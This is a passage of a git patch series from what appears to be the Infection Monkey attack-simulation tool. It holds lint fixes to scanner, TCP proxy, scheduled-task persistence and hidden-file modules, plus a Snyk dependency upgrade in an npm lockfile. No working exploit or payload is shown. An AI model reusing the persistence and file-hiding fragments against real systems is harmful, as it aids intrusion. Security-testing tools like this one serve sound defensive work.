@@ -1,4 +1,4 @@
-from infection_monkey.model.host import VictimHost
+from infection_monkey.model.host import VictimHost # noqa: F401
__author__ = 'itamar'
diff --git a/monkey/infection_monkey/network/ping_scanner.py b/monkey/infection_monkey/network/ping_scanner.py
index f35533f0c..27c814593 100644
--- a/monkey/infection_monkey/network/ping_scanner.py
+++ b/monkey/infection_monkey/network/ping_scanner.py
@@ -12,7 +12,7 @@ __author__ = 'itamar'
PING_COUNT_FLAG = "-n" if "win32" == sys.platform else "-c"
PING_TIMEOUT_FLAG = "-w" if "win32" == sys.platform else "-W"
-TTL_REGEX_STR = '(?<=TTL\=)[0-9]+'
+TTL_REGEX_STR = r'(?<=TTL\=)[0-9]+'
LINUX_TTL = 64
WINDOWS_TTL = 128
diff --git a/monkey/infection_monkey/network/sshfinger.py b/monkey/infection_monkey/network/sshfinger.py
index a686d7fbd..909e75429 100644
--- a/monkey/infection_monkey/network/sshfinger.py
+++ b/monkey/infection_monkey/network/sshfinger.py
@@ -6,7 +6,7 @@ from infection_monkey.network.tools import check_tcp_port
SSH_PORT = 22
SSH_SERVICE_DEFAULT = 'tcp-22'
-SSH_REGEX = 'SSH-\d\.\d-OpenSSH'
+SSH_REGEX = r'SSH-\d\.\d-OpenSSH'
TIMEOUT = 10
BANNER_READ = 1024
LINUX_DIST_SSH = ['ubuntu', 'debian']
diff --git a/monkey/infection_monkey/post_breach/job_scheduling/windows_job_scheduling.py b/monkey/infection_monkey/post_breach/job_scheduling/windows_job_scheduling.py
index fe3dad525..017203821 100644
--- a/monkey/infection_monkey/post_breach/job_scheduling/windows_job_scheduling.py
+++ b/monkey/infection_monkey/post_breach/job_scheduling/windows_job_scheduling.py
@@ -1,5 +1,5 @@
SCHEDULED_TASK_NAME = 'monkey-spawn-cmd'
-SCHEDULED_TASK_COMMAND = 'C:\windows\system32\cmd.exe'
+SCHEDULED_TASK_COMMAND = r'C:\windows\system32\cmd.exe'
# Commands from: https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1053.005/T1053.005.md
diff --git a/monkey/infection_monkey/transport/__init__.py b/monkey/infection_monkey/transport/__init__.py
index c3df1cb01..97d6a232b 100644
--- a/monkey/infection_monkey/transport/__init__.py
+++ b/monkey/infection_monkey/transport/__init__.py
@@ -1 +1 @@
-from infection_monkey.transport.http import HTTPServer, LockedHTTPServer
+from infection_monkey.transport.http import HTTPServer, LockedHTTPServer # noqa: F401
diff --git a/monkey/infection_monkey/transport/tcp.py b/monkey/infection_monkey/transport/tcp.py
index aa7ce253e..928f4b079 100644
--- a/monkey/infection_monkey/transport/tcp.py
+++ b/monkey/infection_monkey/transport/tcp.py
@@ -65,7 +65,7 @@ class TcpProxy(TransportProxyBase):
dest = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
dest.connect((self.dest_host, self.dest_port))
- except socket.error as ex:
+ except socket.error:
source.close()
dest.close()
continue
diff --git a/monkey/infection_monkey/utils/hidden_files.py b/monkey/infection_monkey/utils/hidden_files.py
index 46d8e136b..863680085 100644
--- a/monkey/infection_monkey/utils/hidden_files.py
+++ b/monkey/infection_monkey/utils/hidden_files.py
@@ -5,8 +5,8 @@ from infection_monkey.utils.linux.hidden_files import (
get_linux_commands_to_delete, get_linux_commands_to_hide_files,
get_linux_commands_to_hide_folders)
from infection_monkey.utils.windows.hidden_files import (
- get_winAPI_to_hide_files, get_windows_commands_to_delete,
- get_windows_commands_to_hide_files, get_windows_commands_to_hide_folders)
+ get_windows_commands_to_delete, get_windows_commands_to_hide_files,
+ get_windows_commands_to_hide_folders)
def get_commands_to_hide_files():
diff --git a/monkey/infection_monkey/utils/windows/hidden_files.py b/monkey/infection_monkey/utils/windows/hidden_files.py
index 6199fa88d..d192bbb76 100644
--- a/monkey/infection_monkey/utils/windows/hidden_files.py
+++ b/monkey/infection_monkey/utils/windows/hidden_files.py
@@ -52,12 +52,12 @@ def get_winAPI_to_hide_files():
fileFlags = win32file.FILE_ATTRIBUTE_HIDDEN # make hidden
_ = win32file.CreateFile(HIDDEN_FILE_WINAPI,
- fileAccess,
- 0, # sharing mode: 0 => can't be shared
- None, # security attributes
- fileCreation,
- fileFlags,
- 0) # template file
+ fileAccess,
+ 0, # sharing mode: 0 => can't be shared
+ None, # security attributes
+ fileCreation,
+ fileFlags,
+ 0) # template file
return "Succesfully created hidden file: {}".format(HIDDEN_FILE_WINAPI), True
except Exception as err:
From 1a4d27d7fff8ae03d839a035ea6c0a96f1cad95d Mon Sep 17 00:00:00 2001
From: Shay Nehmad
Date: Mon, 31 Aug 2020 18:12:01 +0300
Subject: [PATCH 34/81] Delete return value
---
.../infection_monkey/utils/windows/hidden_files.py | 14 +++++++-------
1 file changed, 7 insertions(+), 7 deletions(-)
diff --git a/monkey/infection_monkey/utils/windows/hidden_files.py b/monkey/infection_monkey/utils/windows/hidden_files.py
index d192bbb76..d5687fc2d 100644
--- a/monkey/infection_monkey/utils/windows/hidden_files.py
+++ b/monkey/infection_monkey/utils/windows/hidden_files.py
@@ -51,13 +51,13 @@ def get_winAPI_to_hide_files():
fileCreation = win32file.CREATE_ALWAYS # overwrite existing file
fileFlags = win32file.FILE_ATTRIBUTE_HIDDEN # make hidden
- _ = win32file.CreateFile(HIDDEN_FILE_WINAPI,
- fileAccess,
- 0, # sharing mode: 0 => can't be shared
- None, # security attributes
- fileCreation,
- fileFlags,
- 0) # template file
+ win32file.CreateFile(HIDDEN_FILE_WINAPI,
+ fileAccess,
+ 0, # sharing mode: 0 => can't be shared
+ None, # security attributes
+ fileCreation,
+ fileFlags,
+ 0) # template file
return "Succesfully created hidden file: {}".format(HIDDEN_FILE_WINAPI), True
except Exception as err:
From f084d84157243392c178986ed136bc45f26ae5c9 Mon Sep 17 00:00:00 2001
From: Shay Nehmad
Date: Mon, 31 Aug 2020 18:31:00 +0300
Subject: [PATCH 35/81] Fixed isort
---
monkey/infection_monkey/transport/__init__.py | 3 ++-
1 file changed, 2 insertions(+), 1 deletion(-)
diff --git a/monkey/infection_monkey/transport/__init__.py b/monkey/infection_monkey/transport/__init__.py
index 97d6a232b..f9d56fe23 100644
--- a/monkey/infection_monkey/transport/__init__.py
+++ b/monkey/infection_monkey/transport/__init__.py
@@ -1 +1,2 @@
-from infection_monkey.transport.http import HTTPServer, LockedHTTPServer # noqa: F401
+from infection_monkey.transport.http import HTTPServer # noqa: F401
+from infection_monkey.transport.http import LockedHTTPServer # noqa: F401
From 33be50a6e285fb4096b7e63be7da45fec9d9861c Mon Sep 17 00:00:00 2001
From: snyk-bot
Date: Tue, 1 Sep 2020 07:03:36 +0000
Subject: [PATCH 36/81] fix: upgrade snyk from 1.369.3 to 1.372.0
Snyk has created this PR to upgrade snyk from 1.369.3 to 1.372.0.
See this package in npm:
https://www.npmjs.com/package/snyk
See this project in Snyk:
https://app.snyk.io/org/guardicore/project/b4a24b2f-c0d4-474c-9f18-da5a77c685fe?utm_source=github&utm_medium=upgrade-pr
---
monkey/monkey_island/cc/ui/package-lock.json | 208 +++++++------------
monkey/monkey_island/cc/ui/package.json | 2 +-
2 files changed, 81 insertions(+), 129 deletions(-)
diff --git a/monkey/monkey_island/cc/ui/package-lock.json b/monkey/monkey_island/cc/ui/package-lock.json
index e70ed4dae..c1ae3ec13 100644
--- a/monkey/monkey_island/cc/ui/package-lock.json
+++ b/monkey/monkey_island/cc/ui/package-lock.json
@@ -1550,9 +1550,9 @@
}
},
"@snyk/java-call-graph-builder": {
- "version": "1.12.3",
- "resolved": "https://registry.npmjs.org/@snyk/java-call-graph-builder/-/java-call-graph-builder-1.12.3.tgz",
- "integrity": "sha512-eN32RcCq5J0Veo5NIbDUSb2KRNiVsZMt1w94bFYKxFt6F1tIoiv1CraXdTHSlgQosZ7tw93e8qdOKmQXOtK88Q==",
+ "version": "1.13.1",
+ "resolved": "https://registry.npmjs.org/@snyk/java-call-graph-builder/-/java-call-graph-builder-1.13.1.tgz",
+ "integrity": "sha512-oOCSIyOMplV73a1agcXKXlFYQftK5esUUaFRTf90GOxQwKy8R9tZtKdP+CdutlgvjRP286DQ+7GlvKYsGGZbWg==",
"requires": {
"@snyk/graphlib": "2.1.9-patch",
"ci-info": "^2.0.0",
@@ -1719,12 +1719,14 @@
"@types/events": {
"version": "3.0.0",
"resolved": "https://registry.npmjs.org/@types/events/-/events-3.0.0.tgz",
- "integrity": "sha512-EaObqwIvayI5a8dCzhFrjKzVwKLxjoG9T6Ppd5CEo07LRKfQ8Yokw54r5+Wq7FaBQ+yXRvQAYPrHwya1/UFt9g=="
+ "integrity": "sha512-EaObqwIvayI5a8dCzhFrjKzVwKLxjoG9T6Ppd5CEo07LRKfQ8Yokw54r5+Wq7FaBQ+yXRvQAYPrHwya1/UFt9g==",
+ "dev": true
},
"@types/glob": {
"version": "7.1.1",
"resolved": "https://registry.npmjs.org/@types/glob/-/glob-7.1.1.tgz",
"integrity": "sha512-1Bh06cbWJUHMC97acuD6UMG29nMt0Aqz1vF3guLfG+kHHJhy3AyohZFFxYk2f7Q1SQIrNwvncxAE0N/9s70F2w==",
+ "dev": true,
"requires": {
"@types/events": "*",
"@types/minimatch": "*",
@@ -1772,7 +1774,8 @@
"@types/minimatch": {
"version": "3.0.3",
"resolved": "https://registry.npmjs.org/@types/minimatch/-/minimatch-3.0.3.tgz",
- "integrity": "sha512-tHq6qdbT9U1IRSGf14CL0pUlULksvY9OZ+5eEgl1N7t+OA3tGvNpxJCzuKQlsNgCVwbAs670L1vcVQi8j9HjnA=="
+ "integrity": "sha512-tHq6qdbT9U1IRSGf14CL0pUlULksvY9OZ+5eEgl1N7t+OA3tGvNpxJCzuKQlsNgCVwbAs670L1vcVQi8j9HjnA==",
+ "dev": true
},
"@types/minimist": {
"version": "1.2.0",
@@ -2046,26 +2049,27 @@
"dev": true
},
"@yarnpkg/core": {
- "version": "2.1.1",
- "resolved": "https://registry.npmjs.org/@yarnpkg/core/-/core-2.1.1.tgz",
- "integrity": "sha512-qeBxz8nHjKAbGTP2ZcXBnXGfM7+cN0A73mIai/24uru1ayvCIgfjWL1uIj/MM+m+K5lJX0Dcn94ZBHWits9JWQ==",
+ "version": "2.2.2",
+ "resolved": "https://registry.npmjs.org/@yarnpkg/core/-/core-2.2.2.tgz",
+ "integrity": "sha512-TQ0wqQjbZQDrf31N5v4NtE4Juw1c16hYu9QwNloUxRgY/Z+AQIuqa6Jgv9BbAghchZkSIXDWp6bFGD7C+q7cuA==",
"requires": {
"@arcanis/slice-ansi": "^1.0.2",
- "@yarnpkg/fslib": "^2.1.0",
+ "@yarnpkg/fslib": "^2.2.1",
"@yarnpkg/json-proxy": "^2.1.0",
- "@yarnpkg/libzip": "^2.1.0",
- "@yarnpkg/parsers": "^2.1.0",
- "@yarnpkg/pnp": "^2.1.0",
- "@yarnpkg/shell": "^2.1.0",
+ "@yarnpkg/libzip": "^2.2.0",
+ "@yarnpkg/parsers": "^2.2.0",
+ "@yarnpkg/pnp": "^2.2.1",
+ "@yarnpkg/shell": "^2.2.0",
"camelcase": "^5.3.1",
"chalk": "^3.0.0",
"ci-info": "^2.0.0",
- "clipanion": "^2.4.2",
+ "clipanion": "^2.4.4",
"cross-spawn": "7.0.3",
"diff": "^4.0.1",
- "globby": "^10.0.1",
+ "globby": "^11.0.1",
"got": "^11.1.3",
"json-file-plus": "^3.3.1",
+ "lodash": "^4.17.15",
"logic-solver": "^2.0.1",
"micromatch": "^4.0.2",
"mkdirp": "^0.5.1",
@@ -2074,7 +2078,7 @@
"pretty-bytes": "^5.1.0",
"semver": "^7.1.2",
"stream-to-promise": "^2.2.0",
- "tar": "^4.4.6",
+ "tar-stream": "^2.0.1",
"tslib": "^1.13.0",
"tunnel": "^0.0.6"
},
@@ -2142,17 +2146,15 @@
}
},
"globby": {
- "version": "10.0.2",
- "resolved": "https://registry.npmjs.org/globby/-/globby-10.0.2.tgz",
- "integrity": "sha512-7dUi7RvCoT/xast/o/dLN53oqND4yk0nsHkhRgn9w65C4PofCLOoJ39iSOg+qVDdWQPIEj+eszMHQ+aLVwwQSg==",
+ "version": "11.0.1",
+ "resolved": "https://registry.npmjs.org/globby/-/globby-11.0.1.tgz",
+ "integrity": "sha512-iH9RmgwCmUJHi2z5o2l3eTtGBtXek1OYlHrbcxOYugyHLmAsZrPj43OtHThd62Buh/Vv6VyCBD2bdyWcGNQqoQ==",
"requires": {
- "@types/glob": "^7.1.1",
"array-union": "^2.1.0",
"dir-glob": "^3.0.1",
- "fast-glob": "^3.0.3",
- "glob": "^7.1.3",
- "ignore": "^5.1.1",
- "merge2": "^1.2.3",
+ "fast-glob": "^3.1.1",
+ "ignore": "^5.1.4",
+ "merge2": "^1.3.0",
"slash": "^3.0.0"
}
},
@@ -2209,27 +2211,13 @@
"integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q=="
},
"supports-color": {
- "version": "7.1.0",
- "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.1.0.tgz",
- "integrity": "sha512-oRSIpR8pxT1Wr2FquTNnGet79b3BWljqOuoW/h4oBhxJ/HUbX5nX6JSruTkvXDCFMwDPvsaTTbvMLKZWSy0R5g==",
+ "version": "7.2.0",
+ "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+ "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
"requires": {
"has-flag": "^4.0.0"
}
},
- "tar": {
- "version": "4.4.13",
- "resolved": "https://registry.npmjs.org/tar/-/tar-4.4.13.tgz",
- "integrity": "sha512-w2VwSrBoHa5BsSyH+KxEqeQBAllHhccyMFVHtGtdMpF4W7IRWfZjFiQceJPChOeTsSDVUpER2T8FA93pr0L+QA==",
- "requires": {
- "chownr": "^1.1.1",
- "fs-minipass": "^1.2.5",
- "minipass": "^2.8.6",
- "minizlib": "^1.2.1",
- "mkdirp": "^0.5.0",
- "safe-buffer": "^5.1.2",
- "yallist": "^3.0.3"
- }
- },
"to-regex-range": {
"version": "5.0.1",
"resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz",
@@ -2250,20 +2238,15 @@
"requires": {
"isexe": "^2.0.0"
}
- },
- "yallist": {
- "version": "3.1.1",
- "resolved": "https://registry.npmjs.org/yallist/-/yallist-3.1.1.tgz",
- "integrity": "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g=="
}
}
},
"@yarnpkg/fslib": {
- "version": "2.1.0",
- "resolved": "https://registry.npmjs.org/@yarnpkg/fslib/-/fslib-2.1.0.tgz",
- "integrity": "sha512-E+f8w5yQZnTf1soyTWy7qdf+GmHsY+A0yEN4Di44/Txk6XRIMruyc1ShDi93mOI6ilnXxD87rNms18zJ8WnspA==",
+ "version": "2.2.1",
+ "resolved": "https://registry.npmjs.org/@yarnpkg/fslib/-/fslib-2.2.1.tgz",
+ "integrity": "sha512-7SzLP/RHt8lEOaCTg6hMMrnxc2/Osbu3+UPwLZiZiGtLpYqwtTgtWTlAqddS3+MESXOZhc+3gKLX0lfqm6oWuw==",
"requires": {
- "@yarnpkg/libzip": "^2.1.0",
+ "@yarnpkg/libzip": "^2.2.0",
"tslib": "^1.13.0"
},
"dependencies": {
@@ -2291,9 +2274,9 @@
}
},
"@yarnpkg/libzip": {
- "version": "2.1.0",
- "resolved": "https://registry.npmjs.org/@yarnpkg/libzip/-/libzip-2.1.0.tgz",
- "integrity": "sha512-39c7KuSWcYUqVxlBLZwfqdD/D6lS+jplNVWd6uAnk8EpnacaYGJRegvkqWyfw5c8KHukNMeEGF5JHrXPZYBM0w==",
+ "version": "2.2.0",
+ "resolved": "https://registry.npmjs.org/@yarnpkg/libzip/-/libzip-2.2.0.tgz",
+ "integrity": "sha512-/YRSPJbPAvHeCJxcXJrUV4eRP9hER6YB6LyZxsFlpyF++eqdOzNu0WsuXRRJxfqYt3hl7SiGFkL23qB9jqC6cw==",
"requires": {
"@types/emscripten": "^1.38.0",
"tslib": "^1.13.0"
@@ -2312,9 +2295,9 @@
"integrity": "sha512-GpSwvyXOcOOlV70vbnzjj4fW5xW/FdUF6nQEt1ENy7m4ZCczi1+/buVUPAqmGfqznsORNFzUMjctTIp8a9tuCQ=="
},
"@yarnpkg/parsers": {
- "version": "2.1.0",
- "resolved": "https://registry.npmjs.org/@yarnpkg/parsers/-/parsers-2.1.0.tgz",
- "integrity": "sha512-75OYQ6PMs1C3zm+W+T1xhLyVDX78zXQGEVHpWd4o/QwpAbhneB3/5FXVGRzI3gjPPWWSb/pKOPB1S6p0xmQD2Q==",
+ "version": "2.2.0",
+ "resolved": "https://registry.npmjs.org/@yarnpkg/parsers/-/parsers-2.2.0.tgz",
+ "integrity": "sha512-k1XZaWYRHl7wCj04hcbtzKfPAZbKbsEi7xsB1Ka8obdS6DRnAw7n0gZPvvGjOoqkH95IqWf+Vi7vV5RhlGz63Q==",
"requires": {
"js-yaml": "^3.10.0",
"tslib": "^1.13.0"
@@ -2328,12 +2311,12 @@
}
},
"@yarnpkg/pnp": {
- "version": "2.1.0",
- "resolved": "https://registry.npmjs.org/@yarnpkg/pnp/-/pnp-2.1.0.tgz",
- "integrity": "sha512-b8NlB71EFifv1jDX47nFaRXrykROxHcS7YuGb2dQ+Gp9gqJ0thIaZ3yB9+qWF8acdWtNcMpjCug4xkfAAR5Odw==",
+ "version": "2.2.1",
+ "resolved": "https://registry.npmjs.org/@yarnpkg/pnp/-/pnp-2.2.1.tgz",
+ "integrity": "sha512-jrwJ3Q6M+nMs4n0O/GgxayU1Bq9mpLoZW2Mb8Nt2fs5whB0CeCr1/pGl9+yiCSjirv9jjp51TVFqF7OPvXy+gA==",
"requires": {
"@types/node": "^13.7.0",
- "@yarnpkg/fslib": "^2.1.0",
+ "@yarnpkg/fslib": "^2.2.1",
"tslib": "^1.13.0"
},
"dependencies": {
@@ -2345,13 +2328,13 @@
}
},
"@yarnpkg/shell": {
- "version": "2.1.0",
- "resolved": "https://registry.npmjs.org/@yarnpkg/shell/-/shell-2.1.0.tgz",
- "integrity": "sha512-9i9ZWqeKHGV0DOfdxTVq5zl73Li8Fg947v57uLBEaytNF+HywkDfouNkg/6HfgBrpI0WH8OJ9Pz/uDaE5cpctw==",
+ "version": "2.2.0",
+ "resolved": "https://registry.npmjs.org/@yarnpkg/shell/-/shell-2.2.0.tgz",
+ "integrity": "sha512-IuOZhYxTydNySqP2HlKkfm1QjgCAgVBUZz5O5rXXxpS4vTNSa0q6fwqvNUSrHSWGKH/jAmJS23YbJqislj5wjg==",
"requires": {
- "@yarnpkg/fslib": "^2.1.0",
- "@yarnpkg/parsers": "^2.1.0",
- "clipanion": "^2.4.2",
+ "@yarnpkg/fslib": "^2.2.0",
+ "@yarnpkg/parsers": "^2.2.0",
+ "clipanion": "^2.4.4",
"cross-spawn": "7.0.3",
"fast-glob": "^3.2.2",
"stream-buffers": "^3.0.2",
@@ -3223,9 +3206,9 @@
}
},
"supports-color": {
- "version": "7.1.0",
- "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.1.0.tgz",
- "integrity": "sha512-oRSIpR8pxT1Wr2FquTNnGet79b3BWljqOuoW/h4oBhxJ/HUbX5nX6JSruTkvXDCFMwDPvsaTTbvMLKZWSy0R5g==",
+ "version": "7.2.0",
+ "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+ "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
"requires": {
"has-flag": "^4.0.0"
}
@@ -3620,7 +3603,8 @@
"chownr": {
"version": "1.1.4",
"resolved": "https://registry.npmjs.org/chownr/-/chownr-1.1.4.tgz",
- "integrity": "sha512-jJ0bqzaylmJtVnNgzTeSOs8DPavpbYgEr/b0YL8/2GO3xJEhInFmhKMUnEJQjZumK7KXGFhUy89PrsJWlakBVg=="
+ "integrity": "sha512-jJ0bqzaylmJtVnNgzTeSOs8DPavpbYgEr/b0YL8/2GO3xJEhInFmhKMUnEJQjZumK7KXGFhUy89PrsJWlakBVg==",
+ "dev": true
},
"chrome-trace-event": {
"version": "1.0.2",
@@ -3692,9 +3676,9 @@
}
},
"cli-boxes": {
- "version": "2.2.0",
- "resolved": "https://registry.npmjs.org/cli-boxes/-/cli-boxes-2.2.0.tgz",
- "integrity": "sha512-gpaBrMAizVEANOpfZp/EEUixTXDyGt7DFzdK5hU+UbWt/J0lB0w20ncZj59Z9a93xHb9u12zF5BS6i9RKbtg4w=="
+ "version": "2.2.1",
+ "resolved": "https://registry.npmjs.org/cli-boxes/-/cli-boxes-2.2.1.tgz",
+ "integrity": "sha512-y4coMcylgSCdVinjiDBuR8PCC2bLjyGTwEmPb9NHR/QaNU6EUOXcTY/s6VjGMD6ENSEaeQYHCY0GNGS5jfMwPw=="
},
"cli-cursor": {
"version": "3.1.0",
@@ -6227,14 +6211,6 @@
"universalify": "^0.1.0"
}
},
- "fs-minipass": {
- "version": "1.2.7",
- "resolved": "https://registry.npmjs.org/fs-minipass/-/fs-minipass-1.2.7.tgz",
- "integrity": "sha512-GWSSJGFy4e9GUeCcbIkED+bgAoFyj7XF1mV8rma3QW4NIqX9Kyx79N/PF61H5udOV3aY1IaMLs6pGbH71nlCTA==",
- "requires": {
- "minipass": "^2.6.0"
- }
- },
"fs-readdir-recursive": {
"version": "1.1.0",
"resolved": "https://registry.npmjs.org/fs-readdir-recursive/-/fs-readdir-recursive-1.1.0.tgz",
@@ -8518,30 +8494,6 @@
}
}
},
- "minipass": {
- "version": "2.9.0",
- "resolved": "https://registry.npmjs.org/minipass/-/minipass-2.9.0.tgz",
- "integrity": "sha512-wxfUjg9WebH+CUDX/CdbRlh5SmfZiy/hpkxaRI16Y9W56Pa75sWgd/rvFilSgrauD9NyFymP/+JFV3KwzIsJeg==",
- "requires": {
- "safe-buffer": "^5.1.2",
- "yallist": "^3.0.0"
- },
- "dependencies": {
- "yallist": {
- "version": "3.1.1",
- "resolved": "https://registry.npmjs.org/yallist/-/yallist-3.1.1.tgz",
- "integrity": "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g=="
- }
- }
- },
- "minizlib": {
- "version": "1.3.3",
- "resolved": "https://registry.npmjs.org/minizlib/-/minizlib-1.3.3.tgz",
- "integrity": "sha512-6ZYMOEnmVsdCeTJVE0W9ZD+pVnE8h9Hma/iOwwRDsdQoePpoX56/8B6z3P9VNwppJuBKNRuFDRNRqRWexT9G9Q==",
- "requires": {
- "minipass": "^2.9.0"
- }
- },
"mississippi": {
"version": "3.0.0",
"resolved": "https://registry.npmjs.org/mississippi/-/mississippi-3.0.0.tgz",
@@ -12362,9 +12314,9 @@
}
},
"open": {
- "version": "7.2.0",
- "resolved": "https://registry.npmjs.org/open/-/open-7.2.0.tgz",
- "integrity": "sha512-4HeyhxCvBTI5uBePsAdi55C5fmqnWZ2e2MlmvWi5KW5tdH5rxoiv/aMtbeVxKZc3eWkT1GymMnLG8XC4Rq4TDQ==",
+ "version": "7.2.1",
+ "resolved": "https://registry.npmjs.org/open/-/open-7.2.1.tgz",
+ "integrity": "sha512-xbYCJib4spUdmcs0g/2mK1nKo/jO2T7INClWd/beL7PFkXRWgr8B23ssDHX/USPn2M2IjDR5UdpYs6I67SnTSA==",
"requires": {
"is-docker": "^2.0.0",
"is-wsl": "^2.1.1"
@@ -13203,9 +13155,9 @@
"integrity": "sha1-6SQ0v6XqjBn0HN/UAddBo8gZ2Jc="
},
"pretty-bytes": {
- "version": "5.3.0",
- "resolved": "https://registry.npmjs.org/pretty-bytes/-/pretty-bytes-5.3.0.tgz",
- "integrity": "sha512-hjGrh+P926p4R4WbaB6OckyRtO0F0/lQBiT+0gnxjV+5kjPBrfVBFCsCLbMqVQeydvIoouYTCmmEURiH3R1Bdg=="
+ "version": "5.4.1",
+ "resolved": "https://registry.npmjs.org/pretty-bytes/-/pretty-bytes-5.4.1.tgz",
+ "integrity": "sha512-s1Iam6Gwz3JI5Hweaz4GoCD1WUNUIyzePFy5+Js2hjwGVt2Z79wNN+ZKOZ2vB6C+Xs6njyB84Z1IthQg8d9LxA=="
},
"pretty-error": {
"version": "2.1.1",
@@ -14906,9 +14858,9 @@
}
},
"snyk": {
- "version": "1.369.3",
- "resolved": "https://registry.npmjs.org/snyk/-/snyk-1.369.3.tgz",
- "integrity": "sha512-I54pQeG7i/fLQfBQYK+hL/Yr3g9FPuSnVWKroRFdEaB6vfNSRBA2nd3cKPz9iTVm8v72dSZvixsvR6s+7iDi6g==",
+ "version": "1.372.0",
+ "resolved": "https://registry.npmjs.org/snyk/-/snyk-1.372.0.tgz",
+ "integrity": "sha512-5eX7cEmbPtpZ9w+vQIEIf9tlb3FOEN36cnSFpla4bTim2biGTx50lWPKYAclX3z1tlLt654rdJfpTt5tOqWxUQ==",
"requires": {
"@snyk/cli-interface": "2.8.1",
"@snyk/dep-graph": "1.18.3",
@@ -14937,7 +14889,7 @@
"snyk-go-plugin": "1.16.0",
"snyk-gradle-plugin": "3.5.1",
"snyk-module": "3.1.0",
- "snyk-mvn-plugin": "2.18.2",
+ "snyk-mvn-plugin": "2.19.1",
"snyk-nodejs-lockfile-parser": "1.26.3",
"snyk-nuget-plugin": "1.18.1",
"snyk-php-plugin": "1.9.0",
@@ -15332,9 +15284,9 @@
"integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw=="
},
"supports-color": {
- "version": "7.1.0",
- "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.1.0.tgz",
- "integrity": "sha512-oRSIpR8pxT1Wr2FquTNnGet79b3BWljqOuoW/h4oBhxJ/HUbX5nX6JSruTkvXDCFMwDPvsaTTbvMLKZWSy0R5g==",
+ "version": "7.2.0",
+ "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+ "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
"requires": {
"has-flag": "^4.0.0"
}
@@ -15400,12 +15352,12 @@
}
},
"snyk-mvn-plugin": {
- "version": "2.18.2",
- "resolved": "https://registry.npmjs.org/snyk-mvn-plugin/-/snyk-mvn-plugin-2.18.2.tgz",
- "integrity": "sha512-A36YmfpeEXGsKoChm644DysKG40d5y5MZnldkpsbrLz37R3JMxkt4igMACZ9QJZAkiWjVs28hOKyyT1vuMPlHg==",
+ "version": "2.19.1",
+ "resolved": "https://registry.npmjs.org/snyk-mvn-plugin/-/snyk-mvn-plugin-2.19.1.tgz",
+ "integrity": "sha512-VXYJSdhUmOQAyxdsv5frAKbi3UOcHPabWEQxQ9wxhVBEEmx2lP5ajv1a+ntxwWwL7u3jdc+rnCIKHpLlQJ5nyw==",
"requires": {
"@snyk/cli-interface": "2.8.1",
- "@snyk/java-call-graph-builder": "1.12.3",
+ "@snyk/java-call-graph-builder": "1.13.1",
"debug": "^4.1.1",
"needle": "^2.5.0",
"tmp": "^0.1.0",
@@ -17240,9 +17192,9 @@
}
},
"underscore": {
- "version": "1.10.2",
- "resolved": "https://registry.npmjs.org/underscore/-/underscore-1.10.2.tgz",
- "integrity": "sha512-N4P+Q/BuyuEKFJ43B9gYuOj4TQUHXX+j2FqguVOpjkssLUUrnJofCcBccJSCoeturDoZU6GorDTHSvUDlSQbTg=="
+ "version": "1.11.0",
+ "resolved": "https://registry.npmjs.org/underscore/-/underscore-1.11.0.tgz",
+ "integrity": "sha512-xY96SsN3NA461qIRKZ/+qox37YXPtSBswMGfiNptr+wrt6ds4HaMw23TP612fEyGekRE6LNRiLYr/aqbHXNedw=="
},
"unherit": {
"version": "1.1.3",
@@ -17521,9 +17473,9 @@
"integrity": "sha1-BWmOPUXIjo1+nZLLBYTnfwlvPkM="
},
"supports-color": {
- "version": "7.1.0",
- "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.1.0.tgz",
- "integrity": "sha512-oRSIpR8pxT1Wr2FquTNnGet79b3BWljqOuoW/h4oBhxJ/HUbX5nX6JSruTkvXDCFMwDPvsaTTbvMLKZWSy0R5g==",
+ "version": "7.2.0",
+ "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+ "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
"requires": {
"has-flag": "^4.0.0"
}
diff --git a/monkey/monkey_island/cc/ui/package.json b/monkey/monkey_island/cc/ui/package.json
index 6ff6068c8..d6de01941 100644
--- a/monkey/monkey_island/cc/ui/package.json
+++ b/monkey/monkey_island/cc/ui/package.json
@@ -105,7 +105,7 @@
"react-tooltip-lite": "^1.12.0",
"redux": "^4.0.4",
"sha3": "^2.1.3",
- "snyk": "^1.369.3"
+ "snyk": "^1.372.0"
},
"snyk": true
}
From cec57c1604faf60458d1c493bac019f70f8dea31 Mon Sep 17 00:00:00 2001
From: Shay Nehmad
Date: Tue, 1 Sep 2020 11:48:06 +0300
Subject: [PATCH 37/81] Update minor things in order to pass CI build
---
monkey/common/network/test_network_utils.py | 3 ++-
